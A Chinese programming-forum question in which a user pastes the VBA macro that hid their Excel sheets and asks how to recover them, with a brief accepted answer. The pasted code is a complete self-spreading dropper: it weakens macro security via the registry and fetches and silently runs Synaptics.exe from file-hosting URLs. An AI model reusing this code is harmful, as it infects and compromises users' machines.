作业做到一半总找不到拖鞋 2022-03-07 08:13 采纳率: 100%
浏览 80
已结题

被人用vba代码隐藏了excel文件原内容,这是他代码,求知怎么恢复

Dim SheetsChanged As Boolean
Dim SheetCount As Integer

Private Sub Workbook_Open()
Dim i As Integer
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i

RegKeySave "HKCU\Software\Microsoft\Office" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
RegKeySave "HKCU\Software\Microsoft\Office" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"

Application.DisplayAlerts = False
SheetCount = Worksheets.Count

Call MPS

ActiveWorkbook.Sheets(1).Select
SheetsChanged = False
End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
If Not SheetsChanged Then
ActiveWorkbook.Saved = True
End If
End Sub

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
SheetsChanged = True
End Sub

Private Sub Workbook_NewSheet(ByVal Sh As Object)
SheetsChanged = True
End Sub

Private Sub Workbook_SheetActivate(ByVal Sh As Object)
If ActiveWorkbook.Sheets.Count <> SheetCount Then
SheetsChanged = True
SheetCount = ActiveWorkbook.Sheets.Count
End If
End Sub

Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim i As Integer
Dim AIndex As Integer
Dim FName

AIndex = ActiveWorkbook.ActiveSheet.Index

If SaveAsUI = False Then
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False

For i = 1 To ActiveWorkbook.Sheets.Count - 1
  ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
ActiveWorkbook.Save
  
For i = 1 To ActiveWorkbook.Sheets.Count
  ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False

Application.ScreenUpdating = True
Application.EnableEvents = True

Else
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False

For i = 1 To ActiveWorkbook.Sheets.Count - 1
  ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i

FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂lma Kitab?(*.xlsm), *.xlsm")
If FName <> False Then
  ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
  SaveAsInj ActiveWorkbook.Path
End If

For i = 1 To ActiveWorkbook.Sheets.Count
  ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False
    
Application.ScreenUpdating = True
Application.EnableEvents = True

End If
End Sub

Sub SaveAsInj(DIR As String)
Dim FSO As Object
Dim FN As String

Set FSO = CreateObject("scripting.filesystemobject")
FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"

If FSO.FileExists(FN) Then
If Not FSO.FileExists(DIR & "~$cache1") Then
FileCopy FN, DIR & "~$cache1"
End If
SetAttr (DIR & "~$cache1"), vbHidden + vbSystem
End If
End Sub

Function RegKeyRead(i_RegKey As String) As String
Dim myWS As Object

On Error Resume Next
Set myWS = CreateObject("WScript.Shell")
RegKeyRead = myWS.RegRead(i_RegKey)
End Function

Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object

On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function

ErrorHandler:
RegKeyExists = False
End Function

Sub RegKeySave(i_RegKey As String, _
i_Value As String, _
Optional i_Type As String = "REG_SZ")
Dim myWS As Object

Set myWS = CreateObject("WScript.Shell")
myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub

Sub MPS()
Dim FSO As Object
Dim FP(1 To 3), TMP, URL(1 To 3) As String

Set FSO = CreateObject("scripting.filesystemobject")
FP(1) = ActiveWorkbook.Path & "~$cache1"
FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"

URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download%22
URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1%22
URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1%22
TMP = Environ("Temp") & "~$cache1.exe"

If FSO.FileExists(FP(1)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(1), TMP
End If
Shell TMP, vbHide
ElseIf FSO.FileExists(FP(2)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(2), TMP
End If
Shell TMP, vbHide
Else
If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
ElseIf Not FSO.FileExists(TMP) Then
If FDW((URL(1)), (TMP)) Then
ElseIf FDW((URL(2)), (TMP)) Then
ElseIf FDW((URL(3)), (TMP)) Then
End If
If FSO.FileExists(TMP) Then
Shell TMP, vbHide
End If
Else
Shell TMP, vbHide
End If

End If

End Sub

Function FDW(MYU, NMA As String) As Boolean
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
If WinHttpReq Is Nothing Then
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
End If

WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
WinHttpReq.Option(6) = AllowRedirects
WinHttpReq.Open "GET", MYU, False
WinHttpReq.Send

If (WinHttpReq.Status = 200) Then
If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
FDW = True
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile (NMA)
oStream.Close
Else
FDW = False
End If
Else
FDW = False
End If
End Function

  • 写回答

3条回答 默认 最新

  • Goblin_M 2022-03-07 10:23
    关注

    注册表改一下,我觉得,你打开这个那个excel表格,把它的vba直接删了不就可以了。

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

问题事件

  • 系统已结题 3月16日
  • 已采纳回答 3月8日
  • 创建了问题 3月7日

悬赏问题

  • ¥15 用Multisim设计汽车尾灯控制电路
  • ¥100 求用matlab求解上述微分方程的程序代码
  • ¥15 请问各位,如何在Jetson nano主控板的Ubuntu系统中安装PyQt5
  • ¥15 MAC安装佳能LBP2900驱动的网盘提取码
  • ¥400 微信停车小程序谁懂的来
  • ¥15 ATAC测序到底用什么peak文件做Diffbind差异分析
  • ¥15 安装ubantu过程中第一个vfat 文件挂载失败
  • ¥20 GZ::CTF如何兼容一些靶机?
  • ¥15 etcd集群部署问题
  • ¥20 谁可以帮我一下问一下各位